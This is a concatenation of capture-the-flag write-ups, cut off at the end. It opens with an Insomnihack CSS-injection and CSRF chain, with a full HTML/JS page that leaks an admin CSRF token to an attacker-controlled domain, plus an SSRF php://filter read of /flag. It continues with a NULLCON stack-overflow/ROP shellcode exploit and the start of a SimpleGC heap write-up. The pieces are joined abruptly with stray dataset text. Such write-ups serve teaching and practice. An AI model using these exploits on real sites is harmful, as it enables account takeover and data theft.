- We were using domain `http://css.teaser.insomnihack.ch.nazywam.p4.team`.- Endpoint `http://css.teaser.insomnihack.ch.nazywam.p4.team/get_token` was simply blocking until a hit from CSS was done, and then it would return the matching letter.
```html<html><head><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script><script>var token = '';function gen_src(){ src = 'http://css.teaser.insomnihack.ch/?page=login&redirect=%22%3E%3Clink%20rel=%22stylesheet%22%20href=%22?page=search%26search=%25%250a{}%250a' chars = "0123456789abcdef" for(c = 0; c < 16; c++) src += 'input[value^=%27'+token+chars[c]+'%27%20i]{background:url(%27http:%252f%252fcss.teaser.insomnihack.ch.nazywam.p4.team%252fsave%252f'+chars[c]+'%27);}%250a' document.getElementById('ramek').src = src; console.log(src); $.ajax({ type: "GET", url: "http://css.teaser.insomnihack.ch.nazywam.p4.team/get_token", //async: false, success: function (data) { console.log(data); token += data; if(token.length < 32) { gen_src(); } else { console.log(token); document.getElementById('csrf').value=token; document.getElementById('form').submit(); } } });}</script></head><body onload="gen_src()"><iframe id="ramek"></iframe><form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST" id="form"> <input type="text" name="name" value="p4"/> <input type="text" name="age" value="31337"/> <input type="text" name="country" value="p4"/> <input type="text" name="email" value="EMAIL_WE_CONTROL"/> <input type="hidden" name="csrf" value="" id="csrf"/> <input type="hidden" name="change" value="Modify profile"/> </tr> </form></body></html>```
The best place to use the POST ability was the user profile page, because we can modify the user email there.It's useful, because there was `forgot password` option in the application, and it would send password reset link to email in the profile.
This way we managed to reset admin password and login to the application as admin.There is a single new option which is now available for us - fetch:

We can now provide URL and it seems the system downloads the designated image, so we have some kind of potential SSRF.There is some protection against using localhost, 127.0.0.1 or internal relative path, but it can be bypassed using php wrappers or `localtest.me` domain, so we can "download" local files and also files in `uploads/`.
The intended way to solve the task was to upload `.pht` file with PHP shell and some `GIF` prefix to fool the parser into thinking it's a picture, and then execute this file using the `fetch` function.Unfortunately we missed the `.pht` extension trick (although we tried almost all others), and our solution was a bit different.We noticed that we could `fetch` the flag by using some php filter like `php://filter/read=convert.base64-encode/resource=/flag`, but we get `Not an image` error.
We already know that we could "fool" the parser by using prefix `GIF` at the beginning of the file.We know that flag starts with `INS{`, what if we could chain a lot of encoders to turn this prefix into `GIF`?We accidentally found even a simpler way - it turns out the parser would not complain if the payload has a nullbyte at the beginning, so instead of `GIF` prefix we wanted to get a nullbyte.We run a simple brute-forcing loop which was randomly picking an encoder and attaching it to the chain and testing the output.After a while we got: `php://filter/read=convert.base64-encode|convert.base64-encode|string.tolower|string.rot13|convert.base64-encode|string.tolower|string.toupper|convert.base64-decode/resource=/flag`
which for our example flag would give output accepted by the page as "image", and it turned out the website accepted this as well and gave us the base64 version of the result:
`ADFOMWL0AGTNYW1OATBTMW1PBXHVC3LNAMFHBWP0ZTZOZ3D0CWPLDWZ6A256D3KYANHXBNF6YWHVDW14ANFVEQ==`
Now the last part was to decode this back to a flag.We can't simply invert it, because of the `tolower` and `toupper` conversions which are ambigious, but we figured we can try to brute-force it going forward from the known `INS{` prefix.We can attach a new letter, encode this and check how much of this result matches the expected payload.We can do this recursively:
```pythonimport string
s = "ADFOMWL0AGTNYW1OATBTMW1PBXHVC3LNAMFHBWP0ZTZOZ3D0CWPLDWZ6A256D3KYANHXBNF6YWHVDW14ANFVEQ==".decode("base64")
def enc(f): f = f.encode("base64") f = f.encode("base64") f = f.lower() f = f.encode("rot13") f = f.encode("base64") f = f.upper() f = f.decode("base64") return f
def brute(flg, score): print(flg, score) for c in string.letters + string.digits + "{}_": m = get_score(flg + c) if m > score: brute(flg + c, m)
def get_score(flg): f = enc(flg) m = -1 for i in range(len(f)): if f[:i] == s[:i]: m = i return m
def main(): flag = "INS{" score = get_score(flag) brute(flag, score)
main()```
It doesn't work perfectly, but gives us best solutions as:
```('INS{SoManyRebflawsCantbegoodfoq9ou}0', 63)('INS{SoManyRebflawsCantbegoodfoq9ou}1', 63)('INS{SoManyRebflawsCantbegoodfoq9ou}2', 63)('INS{SoManyRebflawsCantbegoodfoq9ou}3', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}0', 63)('INS{SoManyWebflawsCantbegoodfoq9ou}1', 63)('INS{SoManyWebflawsCantbegoodfoq9ou}2', 63)('INS{SoManyWebflawsCantbegoodfoq9ou}3', 63)```
It might be that adding a certain letter doesn't immediately raise the score, so we don't follow this path, but from here we can already guess the flag to be `INS{SoManyWebflawsCantbegoodforyou}`.
### PL version
W zadaniu dostajemy dostęp do prostej aplikacji do przechowywania plików napisanej w PHP.Początkowy setup wygląda na klasyczne zadanie z zakresu XSS, ponieważ możemy wysłać adminowi link który zostanie odwiedzony.Niemniej wygląda na to, że możemy podać jedynie link do tejże aplikacji, a dodatkowo header CSP to:
`Content-Security-Policy: default-src 'none'; style-src 'self'; img-src data: http:`
Co oznacza, że nie możemy wykonać żadnego JSa, style mogą być ładowane tylko z tej samej domeny a obrazki ładowane jako data albo z zewnętrznego serwera.
Możemy uploadować w serwisie pliki, ale rozszerzenia `php, php3...` itd są blacklistowane.Serwer informuje, że można uploadować tylko obrazki, ale w rzeczywistości można to dość prosto obejść dodając prefix `GIF` do pliku lub dołączając na początek nagłówek PNG.
Kiedy już uploadujemy plik możemy go zobaczyć, ale jest ładowany przez `data` w postaci base64.Możemy wywołać błąd, próbując otworzyć nieistniejący plik i to mówi nam że sandbox jest pod `/uploads/sha256(nasz_login)`, ale jeśli spróbujemy dostać się do plików bezpośrednio przez url `http://css.teaser.insomnihack.ch/uploads/...` dostajemy informacje `Direct access to uploaded files is only allowed from localhost`.To oznacza, że nawet gdybyśmy mogli umieścić tam plik `.php`, nie mielibyśmy jak go wykonać.
W niektórych miejscach na stronie dostajemy `echo` z naszego inputu.Na przykład wyszukiwarka plików zwraca tekst `Search results for : to co wpisaliśmy`.W większości miejsc tagi html są escapowane, ale jest kilka miejsc gdzie nie ma to miejsca:
- W `view file` nazwa pliku pozwala na przemycenie html- W `user profile` pola w formularzu także pozwalają na wstrzyknięcie html- W `login` jest ukryte pole `redirect`, które także pozwala na umieszczenie html

Podsumowując, na tą chwilę mamy:
- CSP pozwala załadować style z tej samej domeny- Możemy na stronie wyświetlić dowolny tekst- Możemy wstrzyknąć tagi html- CSP pozwala na ładowanie obrazków z zewnętrznego serwera
To prowadzi nas do pierwszego fragmentu rozwiązania - możemy wstrzyknąć tag `<link rel="stylesheet" href="COŚ"/>` aby załadować styl css wybrany przez nas.W tym przypadku `COŚ` musi być linkiem do podstrony która wypisuje nasz styl, na przykład:
`http:\\css.teaser.insomnihack.ch\index.php?search=%0a%7B%7D%20body%20%7B%20background-color%3A%20lightblue%3B%20%7D%0a&page=search&.css`
Które wypisuje: `Search results for : {} body { background-color: lightblue; }`
Łącząc oba mamy: `http://css.teaser.insomnihack.ch/index.php?page=login&redirect=%22%3E%3Clink%20rel=%22stylesheet%22%20href=%22http%3A%5C%5Ccss.teaser.insomnihack.ch%5Cindex.php%3Fsearch%3D%250a%257B%257D%2520body%2520%257B%2520background-color%253A%2520lightblue%253B%2520%257D%250a%26page%3Dsearch%26.css`
Co daje nam niebieskie tło ma stronie, czego oczekiwaliśmy.Warto rozumieć, ze ładujemy cały html strony jako styl, ale parser CSS pomija błędne dyrektywy.
Możemy teraz użyć selektorów CSS aby pobrać dane ze strony.Możemy utworzyć w stylu wpisy:
`input[value^="a" i]{background: url('http://url.we.own/a')`
Teraz nasłuchując na requesty HTTP do podanego urla możemy sprawdzić czy atrybut `value` pól `input` na stronie zaczyna się od litery `a`.
Jest tu kilka problemów:
- Jedyne co możemy ukraść to token CSRF- Możemy pobierać dane jedynie litera po literze. Potrzebujemy znać pierwszą literę żeby przygotować nowe selektory CSS do wyciągnięcia drugiej litery itd.- Wygląda na to, że token zmienia za każdym razem kiedy wysyłamy link do admina, więc token trzeba pobrać na raz.- Nawet jeśli dostaniemy token CSRF, to nadal nie możemy uruchomić żadnego skryptu JS, więc nie mamy jak wysłać żądania POST.
Początkowo myśleliśmy że admin wchodzi tylko pod linki z domeny `http://css.teaser.insomnihack.ch`, ale w rzeczywistości okazało się, że to nie do końca prawda i sprawdzany jest jedynie `prefix` adresu a nie domena.Oznacza to, że możemy zarejestrować sobie `http://css.teaser.insomnihack.ch.our.cool.domain` i admin wejdzie na nasz link.
To rozwiązuje zagadkę wysyłania żądania POST, ponieważ możemy zwabić admina na naszą własną stronę i wysłać request stamtąd.Rozwiązuje to też problem pobrania tokenu CSRF, bo możemy na naszej stronie dynamicznie generować iframe z selektorami CSS dla kolejnych liter.Tworzymy iframe dla pierwszej literki, pobieramy pasującą literę z `backendo` (który nasłuchuje na requesty z CSS), następnie tworzymy nowy iframe z selektorami dla dwóch liter ze znanym prefixem itd.Po pobraniu całego tokenu możemy wysłać POST jako admin.
- Używamy domeny `http://css.teaser.insomnihack.ch.nazywam.p4.team`.- Adres `http://css.teaser.insomnihack.ch.nazywam.p4.team/get_token` blokuje aż nie dostaniemy requestu z CSS, wtedy zwraca pasującą literę
```html<html><head><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script><script>var token = '';function gen_src(){ src = 'http://css.teaser.insomnihack.ch/?page=login&redirect=%22%3E%3Clink%20rel=%22stylesheet%22%20href=%22?page=search%26search=%25%250a{}%250a' chars = "0123456789abcdef" for(c = 0; c < 16; c++) src += 'input[value^=%27'+token+chars[c]+'%27%20i]{background:url(%27http:%252f%252fcss.teaser.insomnihack.ch.nazywam.p4.team%252fsave%252f'+chars[c]+'%27);}%250a' document.getElementById('ramek').src = src; console.log(src); $.ajax({ type: "GET", url: "http://css.teaser.insomnihack.ch.nazywam.p4.team/get_token", //async: false, success: function (data) { console.log(data); token += data; if(token.length < 32) { gen_src(); } else { console.log(token); document.getElementById('csrf').value=token; document.getElementById('form').submit(); } } });}</script></head><body onload="gen_src()"><iframe id="ramek"></iframe><form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST" id="form"> <input type="text" name="name" value="p4"/> <input type="text" name="age" value="31337"/> <input type="text" name="country" value="p4"/> <input type="text" name="email" value="EMAIL_WE_CONTROL"/> <input type="hidden" name="csrf" value="" id="csrf"/> <input type="hidden" name="change" value="Modify profile"/> </tr> </form></body></html>```
Najlepsze miejsce na wykorzystanie naszego POSTa to zmiana danych w profilu użytkownika, bo możemy zmienić tam email.Jest to o tyle użyteczne, że istnieje opcja `zapomniałem hasła`, która wysyła link z resetem hasła na email z profilu.
W ten sposób udaje nam się zresetować hasło admina i zalogować do aplikacji na jego konto.Pojawia się jedna nowa opcja - fetch:

Możemy podać URL i wygląda na to, że system ściąga obrazek z podanego adresu, więc mamy potencjalnie atak SSRF.Jest zabezpieczenie przez podaniem adresów localhost, 127.0.0.1 oraz wewnętrznych ścieżek względnych, ale możemy obejść to przez wrappery php albo `localtest.me`, więc możemy ściągać także lokalne pliki z `uploads/`.
Oczekiwane rozwiązanie zakładało, że uploadujemy plik `.pht` z kodem PHP i jakiś prefixem `GIF` żeby oszukać parser obrazków, a następnie wykonamy ten plik za pomocą funkcji `fetch`.Niestety przeoczyliśmy rozszerzenie `.pht` (niemniej testowaliśmy chyba wszystkie inne możliwości) i nasze rozwiązanie jest nieco inne.Zauważyliśmy, że możemy wykonać `fetch` na fladze przez jakiś filtr np. `php://filter/read=convert.base64-encode/resource=/flag` ale dostajemy błąd `Not an image`.
Wiemy, że parser obrazków można oszukać przez zwykłe `GIF` na początku pliku.Wiemy, że flaga zaczyna się od `INS{`, więc czy może jesteśmy w stanie tak poskładać ze sobą encodery, żeby prefix flagi zamienić w `GIF`?Przypadkiem w trakcie testów trafiliśmy na jeszcze łatwiejsze rozwiązanie - okazało się, że jeśli parser napotkał na początku na nullbyte to też przepuszczał taki plik, więc zamiast szukać `GIF` szukaliśmy nullbyte.Puściliśmy prostu brute-forcer, który testował różne losowe złożenia encoderów i testował wynik z naszej przykładowej flagi.Po jakiś czasie dostaliśmy:`php://filter/read=convert.base64-encode|convert.base64-encode|string.tolower|string.rot13|convert.base64-encode|string.tolower|string.toupper|convert.base64-decode/resource=/flag`
co dla naszej przykładowej flagi dało wynik akceptowany przez stronę jako "obrazek" i okazało się, że to samo ma miejsce dla prawdziwej flagi, więc dostaliśmy base64 z wyniku kodowania:
`ADFOMWL0AGTNYW1OATBTMW1PBXHVC3LNAMFHBWP0ZTZOZ3D0CWPLDWZ6A256D3KYANHXBNF6YWHVDW14ANFVEQ==`
Ostatni krok to zdekodowanie tego znów do czytelnej flagi.Nie możemy po prostu odwrócić kodowania, bo mamy tam `tolower` oraz `toupper`, które są niejednoznaczne, ale wpadliśmy na pomysł, żeby brute-forceować to w przód, od znanego prefixu `INS{`.Dodajemy nowy znak, kodujemy i porównujemy ile z prefixu pasuje do oczekiwanego wyniku.Możemy to zrobić rekurencyjnie:
```pythonimport string
s = "ADFOMWL0AGTNYW1OATBTMW1PBXHVC3LNAMFHBWP0ZTZOZ3D0CWPLDWZ6A256D3KYANHXBNF6YWHVDW14ANFVEQ==".decode("base64")
def enc(f): f = f.encode("base64") f = f.encode("base64") f = f.lower() f = f.encode("rot13") f = f.encode("base64") f = f.upper() f = f.decode("base64") return f
def brute(flg, score): print(flg, score) for c in string.letters + string.digits + "{}_": m = get_score(flg + c) if m > score: brute(flg + c, m)
def get_score(flg): f = enc(flg) m = -1 for i in range(len(f)): if f[:i] == s[:i]: m = i return m
def main(): flag = "INS{" score = get_score(flag) brute(flag, score)
main()```
Nie działa to idealnie, ale dostajemy najlepsze rozwiązania jako:
```('INS{SoManyRebflawsCantbegoodfoq9ou}0', 63)('INS{SoManyRebflawsCantbegoodfoq9ou}1', 63)('INS{SoManyRebflawsCantbegoodfoq9ou}2', 63)('INS{SoManyRebflawsCantbegoodfoq9ou}3', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}0', 63)('INS{SoManyWebflawsCantbegoodfoq9ou}1', 63)('INS{SoManyWebflawsCantbegoodfoq9ou}2', 63)('INS{SoManyWebflawsCantbegoodfoq9ou}3', 63)```
Czasem może tak być, że dodanie poprawnej literki nie daje nam przyrostu pasującego prefixu, więc nie wchodzimy tam głębiej w rekurencje, ale stąd możemy już ręcznie poprawić flagę do: `INS{SoManyWebflawsCantbegoodforyou}`. |
# NULLCON: Exploitation 2
**Category:** Binary Exploitation**Points:** 300**Total Solves:** Not Available## Problem Description:[//]: # (Description of your problem. For eg use below description as a template)[//]: # (> This program is vulnerable to a format string attack! See if you can modify a variable by supplying a format string! The binary can be found at /home/format/ on the shell server. The source can be found [here](format.c\).)
## Write-up[//]: # (> Your write up goes here.)I am a beginner and this is one of the hardest exploit I have done. To solve this I teamed with my buddy Grant, who was kind enough to let me solve this one by own, and guided me through the process. We got started, and after downloading the binary named [pwn2-box.bin](pwn2-box.bin), first we had a look at the information about the file like - architecture, os, compilation flags, etc with the command `checksec pwn2-box.bin`, which gave this:``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments```
Looking at this told us few things, lets look at the each one by one.`Arch: amd64-64-little` tells that arhitecture is amd64-64, which means we will be dealing with 64bit registers. little tells us that executable is buid for little endian machine.
`RELRO` aka Relocation Read Only is `Partial RELRO` which means, the ELF( Executabel and Linkable File) isgoing to have .got.plt and .plt sections. Where as .plt is going to be read-only but .got.plt isgoing to be writable. Just for additional info, .plt section is Procedure Linkage Table, and.got is Global Offset Table, but .got.plt is GOT of .plt section. When RELRO is Full Relro, lazylinking, means linking at compile time is disabled, which means linker resolves the symbol at loadtime (when program starts). That implies that .got.plt will be populated at load time, oncepopulated it will be moved in .plt section and .plt section is marked read only. So, there is no .got.plt section in FULL RELRO. If you want read more about .plt and .got.plt section [read here](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html) and RELRO [read here](https://mudongliang.github.io/2016/07/11/relro-a-not-so-well-known-memory-corruption-mitigation-technique.html)
There is no stack canary, can do buffer overflow easily.
NX is disabled, which means code can be executed on the stack and heap. NX enabled means there will be no segment with W^X, both write and execute permissions, and permissions of section will be enforced by OS, which mean if a section is marked as read OS will not allow write and execution in that section.
There is No PIE means all constant addreses are not going to be accessed with global offset table (GOT), instead with fix addresses.
By then, we had pretty good idea of attack vector we could use in the program.
As it's partial RELRO, we could modfify the symbols' resolved address to change the control flow, so it's worth to look at the symbos present in the binary, we checked the symbols present in the binary as:```$nm pwn2-box.binnm: pwn2-box.bin: no symbols```Huh.. no symbols, symbol table is stripped. We looked at the dynamic symbol resolutions:```$ objdump -T pwn2-box.bin
pwn2-box.bin: file format elf64-x86-64
DYNAMIC SYMBOL TABLE:0000000000000000 DF *UND* 0000000000000000 seccomp_init0000000000000000 w D *UND* 0000000000000000 _ITM_deregisterTMCloneTable0000000000000000 DF *UND* 0000000000000000 seccomp_rule_add0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 getpid0000000000000000 DF *UND* 0000000000000000 seccomp_load0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 mmap0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 __assert_fail0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 memset0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 alarm0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 pipe0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 read0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 __libc_start_main0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 signal0000000000000000 w D *UND* 0000000000000000 __gmon_start__0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 perror0000000000000000 w D *UND* 0000000000000000 _Jv_RegisterClasses0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 exit0000000000000000 w D *UND* 0000000000000000 _ITM_registerTMCloneTable0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 fork00000000006020a0 g D .data 0000000000000000 Base _edata00000000006020a8 g D .bss 0000000000000000 Base _end00000000006020a0 g D .bss 0000000000000000 Base __bss_start0000000000400820 g DF .init 0000000000000000 Base _init0000000000400ec4 g DF .fini 0000000000000000 Base _fini
```Few symbols worth noticing were - seccomp based functions, mmap - memory is mapped into the programat run time, memset - setting the memory, alarm - generates SIGALARM, pipe and fork together - someinter process communication might be going on between child and parent process, read system call toread data, signal - register a signal handler, perror - print the error, exit - to exit theprogram.
Now at this point we were ready to look at the disassembled code of binary. Looking at it told usthat - program was creating a pipe, then forking a child process. Behavior of both the processes,child and parent, is descirbed ahead: parent process registers a signal handler for few signals,signal worth mentioning is `ALARM`. What handler does is it get's PID and exit the program with code 1. Alarmwas set up for 5sec, which means program is not going to run longer than 5 secs. After setting alarm,it reads 4 byte of data from STDIN, use this read value as an integer and compare that it's less than0x100000, if not it prints the error message "error" and parent process exits. Else, parent processallocates the memory of size read earlier at random location using mmap. Further itreads input from STDIN and writes to memory allocated with mmap. After allocating memory it initializes a seccomp on this allocated memory which can only make write, exit, exit\_group syscalls. Next is the interesting part, after setting up those seccomp rules,it reads upto the size of allocated memory from STDIN, and write to to allocated memory, and that's not it furtherexecutes it. Which means if we provide a shellcode that would going to be executed, but it can only dowrite, exit, group\_exit calls, otherwise we could have passed a shellcode to get the flag stored in/flag.txt file. Another important thing was to patch the alarm instructions, otherwiseit will be hard to debug as `alarm` call will call the handler and handler will exit the program.
Now the child process, it reads 1 byte from read side of PIPE, compares it with 0xA, if matched, read 4 more bytes, treat this 4 byte as an integer, and whatever the value of integer is, read that much bytesagain from read end of PIPE and store it in buffer on stack.
Looking at this exploit seemed clear - write shellcode which will be written to mmapped memory, andgets executed. As we could only do write system call, it's quite clear that we needed to pass theexploit to the child process. That could be done by our shellcode by writing it to the pipe through write end, the child process will store it on stack. My first apporach was to do buffer overflow, overwrit the return address to the part of my shellcode stored at parent process mmapped memory, which upon execution will give me shell.
So my whole shellcode breakdown was going to be like this:```comlete shellcode = [[stager][piped content][shell code to get bash]]piped content = [0xA][sizeof stack content][stack content]stack content = [[0x78*'a'] + [address of shellcode to get bash]]```
Stager is a shellcode which is going to figure out the address of piped content and write it to thepipe from parent process to child process. Initially address of shllcode content is not known so,stager will also update that address, as it can figure out the address where [stack content] willstart.
Piped content going to be processed by child process by reading it from read end of pipe. It has the '0xA' to satisfy the condition, the size of stack content going to be read by child process first as SIZE, then SIZE number of bytes will be read from pipe read end and store on the stack, which will cause the buffer overflow and return the control flow to my shellcode to give me shell.
Stack content is larger than buffer allocated for the data stored on stack and this will overwritethe RBP, and store the address of [shell code to get bash] below RBP, which is return address.
Below is my stager code:``` jmp short label1pop_addr: pop rsi mov rax, rsi add rax, 0x85; added the size of piped content mov [rsi + 0x85 - 8], rax; placing the address for return address xor rax, rax mov al, 1; write system call xor rdi, rdi mov rdi, 4;push 4 pipe descriptor xor rdx, rdx mov dl, 0x85; size to copy syscalllabel1: call pop_addr ;here is content going to be piped ;below will be another shellcode to give sh```
Plan seemed perfect, I put hours of effort in debugging and writing the script, then executing it to get the flag, aaaaand... I got memory access violation. Because, the shellcode I was executing to get sh was on mmapped memory which belonged to parent process, and I tried to execute it from child process. I didn't do a good job of looking ahead. Well lesson was learned. But now I had bigger issue, how to execute my shellcode to get the shell. Then my buddy grant directed me toward the ROP and using RSP gadget. I was not aware of this awesome technique, so I am going to write a bit about this also. Gadgets are insturctions that are already available in program, and can be executed, if one can get to know the address of those instruction, which we are calling gadget, at run time. As, in this case we have no ASLR, no PIE, if I could find a instruction which could do `call RSP` I can run my shell code on stack, this address is not gonna change as I said there is no PIE. Searching for this gadget in the binary, I got one which could help me to execute the shellcode:
```$ ROPgadget --binary CTFs/NULLCON/Binary-Exploit/Exploitation-2/pwn2-box.bin | grep "call rsp"0x0000000000400f7b : call rsp```
New plan was not much different from old one but just some changes here and there. I planned my new full shellcode to look like this:
```comlete shellcode = [[stager][piped content]]piped content = [0xA][sizeof stack content][stack content]stack content = [[0x78\*'a'] + [address of ROP gadget] + [shell code to give bash]]```
What change does is, my shellcode to get sh is getting written on stack causing buffer overflow,and return address is pointing to gadget. So, when return statement gets executed, RSP getincremented by +8 and it will point to the my shellcode to get sh, as the ROP gadget executes,contorl goes to the shell code which gives the shell. The whole thing was put in the [script](solve.py). Executing this script gave the bash.
Thanks to @Digital\_Cold for guidance.## Other write-ups and resources
* None |
SimpleGC========
Challenge description:```SimpleGC (107)Solves: 47memory management in C does not have to be hard
Files: Link
Difficulty: easy
Connect: nc 35.198.176.224 1337```
This is a classical menu based challenge with six options: - Create player (assigned to a team) - Display player - Display team - Edit team - Delete player - Exit
We started out writing the skeleton for our pwn script, code to interact with the application and afterwards went to do some static analysis on the code.
Reversing the create player function gives us the following structs that are used in the code:
```c
Group { char* name_ptr; // 24 bytes unsigned char refCount}
User { unsigned int age; char* name_ptr; // at most 192 bytes char* grp_name_ptr; }```
When we edit a player we are given the option to propagate |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.